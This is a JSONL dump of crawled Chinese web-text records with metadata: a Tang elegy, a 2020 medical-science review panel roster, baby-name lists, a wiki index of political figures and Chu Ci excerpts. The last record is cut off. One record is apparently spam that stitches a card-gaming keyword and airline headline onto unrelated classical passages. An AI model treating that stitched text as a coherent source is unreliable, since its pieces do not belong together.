+{"text":"吊萇宏文\n有周之羸兮,邦國異圖。臣乘君則兮,王易為侯。威強逆制兮,鬱命轉幽。疹蠱膠密兮,肝膽為尤。奸權蒙貨兮,忠勇以劉。伊時雲幸兮,大夫之羞。嗚呼危哉!河渭潰溢兮,橫軀以抑。嵩高坼墮兮,舉手排直。壓溺之不慮兮,堅剛以為式。知死不可撓兮,明章人極。\n夫何大夫之炳烈兮,王不寤夫讒賊。卒施快於剽狡兮,怛就制乎強國。松柏之斬刈兮,蓊茸欣植。盜驪折足兮,罷駑抗臆。鷙鳥之高翔兮,孽狐惴而不食。竊畏忌以群朋兮,夫孰病百而伸一。挺寡以校眾兮,古聖人之所難。矧援羸以威慠兮,茲固蹈殆而違安。殺身之匪予戚兮,閔宗周之不完。豈成城以誇功兮,哀清廟之將殘。嫉彪子之肆誕兮,彌皇覽以為謾。姑舍道以從世兮,焉用夫考古而登賢。\n指白日以致憤兮,卒頹幽而不烈。版上帝以飛精兮,;黮寥廓而殮絕。馮雲以羾兮,終冥冥以鬱結。欲登山以號辭兮,愈洋洋以超忽。心沍涸其不化兮,形凝冰而自栗。圖始而慮末兮,非大夫之操。陷瑕委厄兮,固袁世之道。如不可而愈進兮,誓不偷以自好。陳誠以定命兮,侔貞臣以為友。比幹之以仁義類兮,緬遼絕以不群。伯夷殉潔以莫怨兮,孰克軌其遺塵。苟端誠之內虧兮,雖耆老其誰珍。古固有一死兮,賢者樂得其所。大夫死忠兮,君子所與。嗚呼哀哉!敬吊忠甫。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%90%8A%E8%90%87%E5%AE%8F%E6%96%87","date":"2020-05-29T13:32:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347404857.23\/warc\/CC-MAIN-20200529121120-20200529151120-00363.warc.gz","language":"lzh","language_score":0.6530424356,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6530424356460571, \"nan_Hani_score\": 0.10209132730960846, \"zxx_Latn_score\": 0.02499704249203205, \"und_Tang_score\": 0.02186608873307705, \"cmn_Hani_score\": 0.02094186097383499, \"und_Yiii_score\": 0.016259830445051193, \"und_Cans_score\": 0.012471064925193787, \"yue_Hani_score\": 0.010928723961114883}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.308,"perplexity_score":500.0,"cluster_detection":1} +{"text":"關於公布2020年度醫學科學領域專業評審組組成名單的公告—新聞…\n2021-01-08 科學網\n2020年9月12日至2020年9月16日,醫學科學部組織評審:面上項目、青年科學基金項目、地區科學基金項目。根據相關規定,現公布評審會專家評審組組成名單(按姓氏拼音順序排列):\n艾玎 白曉春 柏勇平 畢煥州 邊專 曹彬 曹春梅 曹君利 曹流 曹維 曹務春 柴人傑 常才 常俊標 陳暢 陳棣 陳豐原 陳罡 陳華富 陳吉華 陳建蘇 陳江漢 陳敬洲 陳凜 陳琪 陳啓軍 陳萬濤 陳雯 陳翔 陳玉國 陳韻岱 陳忠 程功 程濤 程翔 程玉峯 遲素敏 仇子龍 儲以微 戴玉田 戴志飛 單鴻 鄧玉林 樊官偉 范國榮 范志朋 房靜遠 馮靖 高大明 高光俠 高明遠 高強 高紹榮 高維娟 高下 高興華 高秀梅 高月 葛廣波 管英俊 管又飛 郭彩霞 郭非凡 郭永麗 韓峯 韓偉 郝傳明 郝海平 何成奇 何蓉蓉 何作祥 洪葵 侯晉 侯曉華 胡波 胡承 胡大海 胡東生 胡剛 胡俊波 胡豫 花寶金 黃波 黃廣華 黃河 黃建 黃倩 黃永焯 黃志紓 季旭明 賈立軍 賈立羣 江陸斌 江鵬 江濤 姜長濤 姜勇 蔣青 蔣欣泉 解雲濤 金紅芳 金順子 金子兵 荊清 荊志成 鞠大宏 雷羣英 李川 李根喜 李洪林 李佳 李建明 李磊 李滿祥 李熳 李寧 李蓉 李思進 李衛 李文妍 李旭 李學濤 李燕 李英霞 李運倫 李中軍 厲有名 梁廣 梁萍 廖洪恩 廖專 林浩添 林灼鋒 劉寶瑞 劉必成 劉兵 劉春生 劉翠華 劉光慧 劉光偉 劉洪臣 劉胡丹 劉傑 劉金保 劉起展 劉善榮 劉新峯 劉章鎖 劉芝華 劉中秋 劉祖國 婁昕 盧傳堅 魯芳 陸洪光 呂奔 呂建新 呂凌 羅高興 羅湘杭 羅卓荊 駱丹 馬瑜婷 滿江紅 滿孝勇 孟憲麗 米傑 繆小平 莫曾南 母得志 聶勇戰 寧文 牛俊奇 牛文彥 歐陽宏偉 龐建新 龐宇舟 彭雙清 錢程 秦駿 秦立強 秦裕輝 邱海波 邱邐 邱士軍 邱曉彥 屈衛東 申遠 沈定剛 沈建雄 沈振亞 石磊 史慶華 司書毅 宋錦璘 宋元林 蘇士成 蘇友新 孫長崗 孫殿軍 孫奮勇 孫宏晨 孫天盟 孫興懷 孫學剛 孫遜 湯楠 唐承薇 唐德才 唐巍 田國寶 汪紅英 汪凱 王東岩 王剛 王恆樑 王紅梅 王華芹 王建偉 王建勛 王健偉 王婧 王蕾 王平 王全興 王詩忠 王淑美 王維 王雪峯 王延江 王伊龍 王宇峯 王玉平 王澤華 王振常 王振原 王中秋 翁傑敏 吳德沛 吳皓 吳松 吳一龍 吳玉章 武勝昔 夏昆 向陽 肖小河 謝毅強 邢念增 熊利澤 熊維寧 徐德祥 徐萌 徐湘民 許丹焰 許釩 許家佗 許琪 許興智 許予明 薛漢榮 薛天 顏華 燕太強 楊安鋼 楊長青 楊樺 楊金奎 楊柳 楊鵬遠 楊欽泰 楊仕明 楊爽 楊濤 楊魏 楊一華 楊永清 楊志謀 楊祚璋 姚美村 姚元慶 葉文才 易東 易凡 殷善開 尤涵 余家闊 餘江毅 俞昌喜 喻田 袁泉 岳偉華 曾春雨 曾進勝 曾木聖 詹麗杏 張愛華 張長青 張存泰 張大志 張丹 張宏權 張俊龍 張羅 張琪 張勝民 張萬起 張曉輝 張旭 張學蘭 張學智 張毅 張志仁 趙長青 趙春傑 趙大慶 趙涵 趙凌 趙敏 趙明輝 趙維蒞 趙曉山 趙曜 鎮學初 鄭宏庭 鄭曉峯 鄭楊 鄭玉新 周宏偉 周聖濤 周翔天 周永勝 周兆才 朱東亞 朱冬冬 朱建華 朱立國 朱明昭 朱融融 朱文珍 諸葛啓釧 鄒飛 鄒雲增。\n公布時間:2020年9月21日至2020年9月28日。\n國家自然科學基金委員會\n醫學科學部\n2020年9月21日\n特別聲明:本文轉載僅僅是出於傳播信息的需要,並不意味著代表本網站觀點或證實其內容的真實性;如其他媒體、網站或個人從本網站轉載使用,須保留本網站註明的「來源」,並自負版權等法律責任;作者如果不希望被轉載或者聯繫轉載稿費等事宜,請與我們接洽。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/themelocker.xyz\/16337","date":"2021-05-11T19:28:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989856.11\/warc\/CC-MAIN-20210511184216-20210511214216-00191.warc.gz","language":"lzh","language_score":0.6483560205,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.648356020450592, \"cmn_Hani_score\": 0.23284566402435303, \"nan_Hani_score\": 0.11133268475532532}","num_words":351,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.688,"perplexity_score":500.0,"cluster_detection":1} +{"text":"雙魚和天蝎有那么迷人嗎?有那么吸引力嗎?我和和你的情況差不多,佩服星座。我們天蝎座女生,說了分手其實是想挽回,你給她打電話,說話稍微溫柔點,以雙魚的柔克天蝎的剛,看看能否挽回,其實她心里也很難受,誰讓天蝎和雙魚是絕配呢。\n張子東 張文哲 張明仁 張利中 張忻昕 張裕成 張正玨 張宏浩 張思軒 張涵涵 張渝城 張懿川 張函三 張星陽 張英瑋 張文麟 張又言 張一翔 張江志 張俊意 張子壽 張思宇 張濤宇 張志華 張洛丙 張劍遠 張峰路 張子逸 張畢源 張孟昊 張宏釃 張頂鐸 張俊然 張高風 張舜含 張可軒 張鑫鈺 張雪軍 張亦誠 張亞航 張子博 張光喜 張軍梁 張晨宇 張映濤 張常耀 張谷林 張涵飛 張福龍 張飛航 張若龍 張洋勖 張子偌 張雋琦 張漢彤 張梓鑫 張軍如 張忻銘 張福恒 張曉燦 張梓成 張慧晨 張康樂 張於宏 張澤藍 張灝祥 張會彬 張華彥 張義仁 張懿淇 張卿竣 張子文 張東帥 張子彪 張凡在 張國文 張佳逸 張志錕 張華雅 張旺涵 張建林 張佳蘇 張晉寶 張翊晗 張賞涵 張現海 張晨杰 張米泠 張嘉軒 張寶道 張臻珍 張雅隆 張斯吉 張玟林 張大波 張派飆 張文曉 張柯政 張建雄 張亦平 張若樂 張蘊心 張治淵 張璽楊 張憲順 張昕霖 張遠宏 張豪軍 張乾緯 張衛君 張如中 張敬策 張韻書 張可民 張楚杰 張永洋 張翰杰 張維春 張勃欣 張斯濤 張夏芮 張祖懌 張宏英 張人楠 張若平 張博杰 張銘意 張冠福 張譽源 張彥福 張格升 張仁瀧 張亮文 張海良 張耀平 張宇凱 張相磊 張新暄 張語濤 張耘麟 張正彤 張成岡 張亮濤 張競超 張起濤 張妤東 張迦軒 張浩勇 張興龍 張子鋒 張卿森 張箏誠 張招澤 張德仁 張富同 張鶴宇 張天群 張彥東 張瀚揚 張勇杰 張嘉中 張鵬恒 張國采 張子君 張正卓 張嫣達 張彥旭 張峻彬 張方年 張偉旭 張志敏 張建文 張裕根 張旭亮 張卓林 張承海 張啟山 張安清 張鈁昌 張金韻 張鑫鑫 張念濤 張隨恒 張曉嘉 張羽遠 張鐵玉 張智鳴 張亞華 張揚亮 張潤蔭 張成華 張佳桐 張致偉 張亞樂 張賀清 張雋藍 張桂麒 張育運 張渝昂\n劉儷華。\n雅絲蘭、貝兒、歌蓮、戴娜、愛迪蓮、芳娜、珍妮花、夏莉、伊莉、祖麗莎、嘉麗珊、麗詩(這是芭比十二芭蕾舞公主的名字,覺得挺好聽的,挑幾個吧)\n可以。\n家里出生寶寶,都希望起個好名字,寓意深遠,內涵豐富,合轍押韻是大家所期望的,讀起來好記,寫起來簡練,外人會夸獎家庭有素養,也會夸獎孩子的名字起的好。大全這個名字挺好的,一聽就知道孩子的性別,名字涵蓋世界萬物,包羅萬象,容納所有。這個名字涵蓋有中華民族的印跡,比那些取相于外國音的名字強多啦。\n蜜雪,溫蒂,愛麗絲,尤朵拉\n妮可,綺麗,仙蒂,希貝兒\n茉莉,露西,","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/www.illeoncino.com\/8g\/id5577\/","date":"2023-01-29T15:54:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499744.74\/warc\/CC-MAIN-20230129144110-20230129174110-00262.warc.gz","language":"lzh","language_score":0.5140452981,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5140452980995178, \"nan_Hani_score\": 0.3023410439491272, \"cmn_Hani_score\": 0.1607462465763092, \"yue_Hani_score\": 0.022841015830636024}","num_words":207,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.646,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王姓在中国人口比例排名第二,许多宝宝的名字都有重复,对今后的生活与事业都有少许的影响。下面好名字网小编为大家推荐最新出炉的王姓宝宝名字,一起来看看吧!\n该文章为周易小馆网原创:转载请注明出处 王姓男孩名字大全: 王东峰 王传贵 王逸矾 王传福 王海语 王矾逸 王文吉 王知娴 王再香 王索娴 王任杰 王豫坤 王留生 王策驰 王振中 王林峰 王林丰 王梁宏 王临峰 王临锋 王传澎 王矾豫 王晓东 王临风 王传龙 王若然 王传鑫 王凌风 王大为 王力仁 王允灏 王丽明 王利仁 王宝涛 王佳明 王筱璇 王思帅 王政翰 王宇博 王文会 王稼傲 王佳烈 王稼音 王稼金 王稼辛 王稼竹 王富豪 王辰翔 王凯岳 王敬海 王振宇 王锦容 王锡海 王钧玮 王庆敏 王文龙 王逢厅 王祚玮 王全民 王兴碧 王乙默 王金元 王书含 王雪容 王馥凤 王璐菲 王雨晗 王馥毓 王子华 王梦伊 王家池 王梦菲 王梦如 王洪娇 王羽姗 王校国 王如姬 王红延 王记言 王科业 王蕊瑗 王定峰 王智勇 王言卿 王羽纯 王康庆 王志佳 王如真 王蕊菁 王馥连 王强强 王羽真 王雨洋 王厚源 王厚军 王璧宁 王品言 王志楷 王伟康 王品声 王宝影 王志勇 王容伊 王本康 王浩云 王远葸 王清瑜 王墨晗 王龙飞 王宗良 王维顺 王瀚辰 王改珍 王思敏 王长春 王红年 王孟钰 王桐瑞 王星月 王中源 王行平 王咏棣 王作忠 王宗佑 王钟源 王金山 王泽中 王习涛 王宇矾 王堂臻 王一漪 王一澍 王永风 王京明 王彦哲 王文嘉 王书宁 王一毅 王书乐 王昊洲 王书林 王立立 王霏雨 王焯勾 王岩松 王扬菲 王卫国 王垌菲 王喜成 王晶林 王荔荔 王文烨 王建雄 王金金 王军生 王致齐 王书显 王建新 王金利 王力千 王轴毛 王钊幸 王珏珲 王先涛 王浩宇 王小平 王建基 王琛琛 王烯冰 王璇冰 王孟学 王韦嵘 王宗耀 王轺介 王惠卿 王宗台 王茜冰 王凤军 王佳钰 王小明 王又仁 王锴锐 王新华 王召营 王姓女孩名字大全: 王玲西 王英媛 王爱艳 王紫婵 王紫莹 王宝蓉 王湘蓉 王莉菁 王蓉霏 王怡菁 王蓉璇 王蓉漩 王莹钰 王宁娜 王瑞红 王婧婧 王苏文 王盛瑶 王建梅 王聘婷 王妹妹 王妍熙 王燕双 王书英 王连芳 王含玉 王玉娟 王细玲 王玲清 王冉怡 王莉欣 王琳伟 王犀媛 王兮媛 王溪媛 王希媛 王昔媛 王枚媛 王允文 王倩盈 王芷文 王向文 王荣文 王方文 王紫颖 王仙梅 王珠玉 王名芳 王文燕 王毅婷 王贤文 王致妍 王卓玉 王晨芳 王迎花 王小文 王涵嫣 王嫣雯 王文英 王玲伊 王新红 王夕艳 王熙媛 王文媛 王汶艳 王璐嫣 王珏茹 王璐花 王琉婷 王睿茹 王邻婷 王东娜 王珊琳 王相怡 王琪琳 王长红 王淑嫣 王国芬 王彭瑛 王依玲 王妍芸 王巧梅 王月梅 王天瑶 王廷怡 王海梅 王京美 王笑霞 王筱瑶 王赐文 王怡营 王春花 王莉华 王少英 王怡莹 王兰英 王明霞 王明芳 王珈瑛 王懿莹 王洪霞 王翱瑛 王彩萍 王妮娜 王韫芳 王云怡 王岳怡 王金霞 王雨燕 王浩文 王香玲 王轩文 王馨怡 王燕涛 王冠英 王素文 王汐秀 王倩慧 王碧霞 王燕涵 王玮悦 王泓悦 王舒悦 王雪怡 王舒怡 王乐瑶 王素娟 王雪玉 王宵琳 王慧婧 王婵瑶 王士芬 王睿琳 王鹏雪 王师洁 王童芳 王明媛 王筱琳 王鹰娜 王莺娜 王瑛娜 王英娜 王宜芳 王邦文 王怡岑 王燕喃 王燕呢 王诗悦 王家霞 王怡文 王界霞 王宗娥 王雯文 王星玉 王传玉 王方颖 王方琳 王瑞霞 王秀言 王飘莹 王焕玲 王焕琴 王竟文 王溢文 王婧童 王月霞 王兮莹 王汐莹 王惜莹 王浠莹 王曦莹 王茜莹 王希莹 王天文 王珈琳 王曼萍 王溪婵 王韵婵 王栖婵 王悉婵 王耘娜 王耘婵 王姿嫣 王润婵 王语婵 王若妍 王若婵 王瑶龙 王希妍 王骞文 王晓嫣 王小妍 王月莹 王如美 王若雪 王玉倩 王熙秀 王钧玉 王灿怡 王成洁 王雯婷 王芮雪 王妍雨 王江萍 王萍萍 王琴妹 王琴美 王锦莹 王亦洁 王嘉婧 王方洁 王卫萍 王广洁 王筱红 王思洁 王俪蓉","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/chip-china.com\/article\/baziqiming\/1380.html","date":"2019-08-20T13:22:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315329.55\/warc\/CC-MAIN-20190820113425-20190820135425-00521.warc.gz","language":"lzh","language_score":0.9766687751,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9766687750816345, \"nan_Hani_score\": 0.02165323682129383}","num_words":404,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"手机棋牌大全阿联酋航空陷停航疑云一天政策变三次\n五月丁未,献楚俘於周,驷介百乘,徒兵千。天子使王子虎命晋侯为伯,赐大辂,彤弓矢百,玈弓矢千,秬鬯一卣,珪瓚,虎贲三百人。晋侯三辞,然后稽首受之。周作晋文侯命:\"王若曰:父义和,丕显文、武,能慎明德,昭登於上,布闻在下,维时上帝集厥命于文、武。恤朕身、继予一人永其在位。\"於是晋文公称伯。癸亥,王子虎盟诸侯於王庭。\n桓公三十五年,鲁隐公立。四十五年,鲁弑其君隐公。四十六年,宋华父督弑其君殇公,及孔父。五十五年,桓公卒,子庄公夕姑立。\n子路有闻,未之能行,唯恐有闻。\n端蒙赤奋若竟宁元年。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/nfhyd.cieb-sh.com.cn\/mcrnb\/065511.html","date":"2020-04-10T18:11:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370511408.40\/warc\/CC-MAIN-20200410173109-20200410203609-00208.warc.gz","language":"lzh","language_score":0.4895479679,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4895479679107666, \"cmn_Hani_score\": 0.31325778365135193, \"nan_Hani_score\": 0.05691826716065407, \"zxx_Latn_score\": 0.02253112941980362, \"wuu_Hani_score\": 0.019937759265303612, \"yue_Hani_score\": 0.017609862610697746, \"jpn_Jpan_score\": 0.014315392822027206}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.51,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n龔海龍 龔順碧 龔士昆 龔佩苒 龔曉瑜 龔漢祖 龔雷雷 龔紹青 龔鑫磊 龔楚雯 龔建祥 龔夕含 龔浦生 龔哲晟 龔幸 龔睦賀 龔蒲晟 龔浦晟 龔安彬 龔歐平 龔康鑫 龔康欣 龔翠蘭 龔子豪 龔大偉 龔子欽 龔士博 龔益玄 龔粉銘 龔德芽 龔耕 龔菁 龔婕儷 龔益斌 龔厚軍 龔笑寶 龔格格 龔金蓮 龔柯成 龔曉麒 龔志煥 龔溥 龔心貝 龔貝爾 龔茂榮 龔素仙 龔薇寧 龔心軒 龔思寧 龔德平 龔昕皚 龔睫 龔朝暉 龔愛伶 龔歆紫 龔關 龔昕亮 龔虹萱 龔文宜 龔樂意 龔好 龔立新 龔真珍 龔閱涵 龔軒曉 龔博慧 龔秀人 龔雙雙 龔爽爽 龔台銘 龔紹光 龔治平 龔書嚴 龔百川 龔北辰 龔顯辰 龔澤辰 龔建辰 龔懷川 龔晨哲 龔辰哲 龔應波 龔星維 龔依羅 龔炎傑 龔卿雲 龔雲卿 龔雙爽 龔霜爽 龔孀 龔雨露 龔培義 龔泓人 龔亮旗 龔玉祺 龔鈺祺 龔彥諭 龔文齡 龔恩卿 龔米妮 龔思彤 龔彥語 龔鈺宸 龔子茜 龔子優 龔書香 龔嗣豪 龔凡語 龔德清 龔鈺莎 龔鈺禎 龔凡茜 龔華勝 龔洪源 龔鈺萱 龔凡奚 龔靜雲 龔鈺軒 龔奕貝 龔柚行 龔翔政 龔義灝 龔義臨 龔義睿 龔文舉 龔又誠 龔施華 龔洪金 龔蒲生 龔瀅懿 龔浦盛 龔瀅翼 龔詩翼 龔桂蘭 龔智淵 龔勝華 龔可 龔歆舞 龔琬茜 龔浦勝 龔瀚樺 龔瀚晟 龔瀚彬 龔向前 龔翰霖 龔海灣 龔曼其 龔佳淇 龔文斌 龔自如 龔子任 龔騰鋒 龔璐璐 龔姍姍 龔軒逸 龔衛兵 龔應新 龔昊一 龔澤政 龔洪舟 龔琛 龔正正 龔詩耘 龔斐然 龔鵬 龔藏殘 龔思全 龔瀅艨 龔瀅驊 龔瀅博 龔雨蘭 龔瀅慧 龔馨顏 龔芯顏 龔欣顏 龔哲霖 龔瀚霖 龔昊 龔海濤 龔浦深 龔蒲聖 龔洋濱 龔聲錚 龔粉明 龔奇 龔彥 龔順貴 龔之春 龔宗華 龔中華 龔薇 龔美伶 龔鴻昌 龔瑞金 龔小珍 龔炎 龔俊華 龔錦華 龔啟順 龔星為 龔文恩 龔北雁 龔籽鸝 龔皓 龔瑞達 龔翱 龔瑞陽 龔瑞涵 龔一非 龔一飛 龔天一 龔一丁 龔熙瑞 龔兮瑞 龔汐瑞 龔夕瑞 龔鶴亭 龔瑞崢 龔昌慶 龔明宇 龔霆瑞 龔瑞霆 龔都瑞 龔瑞霖 龔瑞昊 龔瑞灝 龔曉雯 龔梓鈺 龔瑗瑗 龔境南 龔瑗 龔文佳 龔海坪 龔盈忻 龔盈昕 龔瀅昕 龔靜佳 龔曉冬 龔亞嫻 龔曉東 龔洪泉 龔君廷 龔白濤 龔柏維 龔朕宇 龔學思 龔朕 龔維麒 龔青鏵 龔盈歆 龔暮顏 龔暮言 龔木言 龔慕言 龔慕顏 龔木顏 龔瀅響 龔泉浩 龔梓軒 龔展贏 龔恩曦 龔瀟 龔瀟雲 龔迅贏 龔芷馨 龔繪馨 龔瀅露 龔莫涵 龔浠鑫 龔清芝 龔嘉妃 龔宛清 龔清逸 龔清芹 龔嘉薇 龔嘉唯 龔嘉維 龔芸清 龔惠忠 龔清芸 龔萌 龔大潭 龔大錟 龔雁俠 龔艷平 龔建偉 龔明祝 龔一刀 龔都 龔勇武 龔家祿 龔加祿 龔小寶 龔小戈 龔方成 龔雲傑 龔二傑 龔大傑 龔和傑 龔仁傑","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5711.html","date":"2020-05-25T23:59:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390437.8\/warc\/CC-MAIN-20200525223929-20200526013929-00242.warc.gz","language":"lzh","language_score":0.4021072686,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.40210726857185364, \"cmn_Hani_score\": 0.30766192078590393, \"nan_Hani_score\": 0.1036943569779396, \"yue_Hani_score\": 0.07646533101797104, \"wuu_Hani_score\": 0.06582551449537277, \"jpn_Jpan_score\": 0.032768167555332184}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 何志光 黃世澤 陶傑 湯家驊 劉江華 林鄭月娥 習近平 曹宏威 所有項目 (239) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 中 分類:中國官員 中聯辦 五 分類:五毛黨 令 令計劃 任 任亮憲 何 何俊仁 何俊賢 何君堯 何啟明(工聯會) 何志光 何沛謙 何秀蘭 何鴻燊 余 余若薇 侯 侯志強 劉 劉夢熊 劉小麗 劉慧卿 劉業強 劉江華 劉皇發 劉鳴煒 區 區諾軒 史 史泰祖 司 司徒華 吳 吳亮星 吳克儉 呂 呂智偉 周 周一嶽 周永勤 周永康 (大陸) 周浩鼎 周澄 周融 周諾恆 唐 分類:唐英年 唐英年 喬 喬治·獲嘉·布殊 嚴 嚴國強 夏 夏千福 大 大黃傻貓GARFIELD 奧 奧巴馬 姜 姜瑜 孫 孫中山 孫明揚 安 安德烈 容 容海恩 崔 崔世安 左 分類:左膠 布 布殊 希 希拉里 庸 分類:庸 張 張國鈞 張宇人 張建宗 張德江 張志剛 張曉明 張樹人 張超雄 張震遠 彭 彭定康 愛 分類:愛國愛黨者 戴 戴卓爾夫人 政 分類:政治網絡名人 曹 曹宏威 曾 曾偉雄 曾健成 曾德成 曾憲梓 曾浩輝 分類:曾蔭權 曾蔭權 曾鈺成 朱 朱凱廸 李 李光耀 李克強 李卓人 李嘉燕 李國寶 李國章 李家傑 李家超 李少光 李慧琼 李柱銘 李永達 李登輝 林 林作 林健鋒 林卓廷 林奮強 林瑞麟 林筱魯 林鄭月娥 柯 柯創盛 柴 柴文瀚 梁 梁君彥 梁唐青儀 梁國雄 梁天琦 梁安琪 梁家傑 梁志祥 梁愛詩 分類:梁振英 梁振英 梁美芬 梁耀忠 梁詠詩 梁頌恆 楊 楊偉雄 楊岳橋 楊森 毛 毛孟靜 毛新宇 毛澤東 江 江澤民 涂 涂謹申 游 游蕙禎 湯 湯家驊 湯顯明 溫 溫家寶 潘 潘志文 特 特朗普 王 王國興 甘 甘乃威 田 田北俊 田北辰 甲 分類:甲澤 白 白韻琹 盧 盧偉聰 盧寵茂 社 社民連三子 秦 秦檜 羅 羅冠聰 羅致光 羅范椒芬 習 習近平 耿 耿爽 胡 胡志偉 胡錦濤 艾 艾未未 范 范國威 范徐麗泰 莫 莫乃光 葉 葉劉淑儀 葉國謙 葛 葛珮帆 董 董建華 蔡 蔡耀昌 蔡若蓮 蔡英文 蔣 蔣介石 蔣麗芸 薄 薄熙來 蘇 蘇錦樑 袁 袁國強 袁彌明 袁莎妮 許 許智峯 詹 詹培忠 謝 謝偉俊 譚 譚偉豪 譚凱邦 譚德塞 譚文豪 譚耀宗 譚香文 買 買家甲 趙 趙紫陽 達 達賴喇嘛 邱 邱騰華 邵 邵家臻 郭 郭偉强 鄒 鄒旻芳 鄧 鄧家彪 鄧小平 鄧忍光 鄧炳強 鄭 鄭家富 鄭松泰 鄭汝樺 鄭泳舜 鄭經翰 鄭耀棠 鄭若驊 鄺 鄺俊宇 金 金正恩 金正日 錢 錢詩文 鍾 鍾樹根 阿 阿基諾三世 陳 陳偉業 陳健波 陳克勤 陳婉嫻 陳家偉 陳巧文 陳帆 下一頁 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:政治人物?oldid=404082\" 分類: 現實人物 政治 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E6%94%BF%E6%B2%BB%E4%BA%BA%E7%89%A9","date":"2021-06-20T14:00:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487662882.61\/warc\/CC-MAIN-20210620114611-20210620144611-00586.warc.gz","language":"lzh","language_score":0.6544448733,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6544448733329773, \"cmn_Hani_score\": 0.2824135422706604, \"nan_Hani_score\": 0.05613962933421135}","num_words":338,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.309,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.722,"perplexity_score":500.0,"cluster_detection":1} +{"text":"典故 女媭嫌直 楚裳 芰荷裳\n《楚辞补注》卷一〈离骚经·王逸序〉~6~\n悔相道之不察兮,延伫乎吾将反。回朕车以复路兮,及行迷之未远。步余马于兰皋兮,驰椒丘且焉止息。进不入以离尤兮,退将复脩吾初服。制芰荷以为衣兮,集芙蓉以为裳。不吾知其亦已兮,苟余情其信芳。高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。忽反顾以游目兮,将往观乎四荒。佩缤纷其繁饰兮,芳菲菲其弥章。民生各有所乐兮,余独好脩以为常。虽体解吾犹未变兮,岂余心之可惩。女媭之婵媛兮,申申其詈予。曰?婞直以亡身兮,终然夭乎羽之野。汝何博謇而好脩兮,纷独有此姱节。薋菉葹以盈室兮,判独离而不服。众不可户说兮,孰云察余之中情。世并举而好朋兮,夫何茕独而不予听。","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/cnkgraph.com\/Glossary\/%E5%85%B8%E6%95%85\/%E5%A5%B3%E5%AA%AD","date":"2023-04-01T21:01:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950247.65\/warc\/CC-MAIN-20230401191131-20230401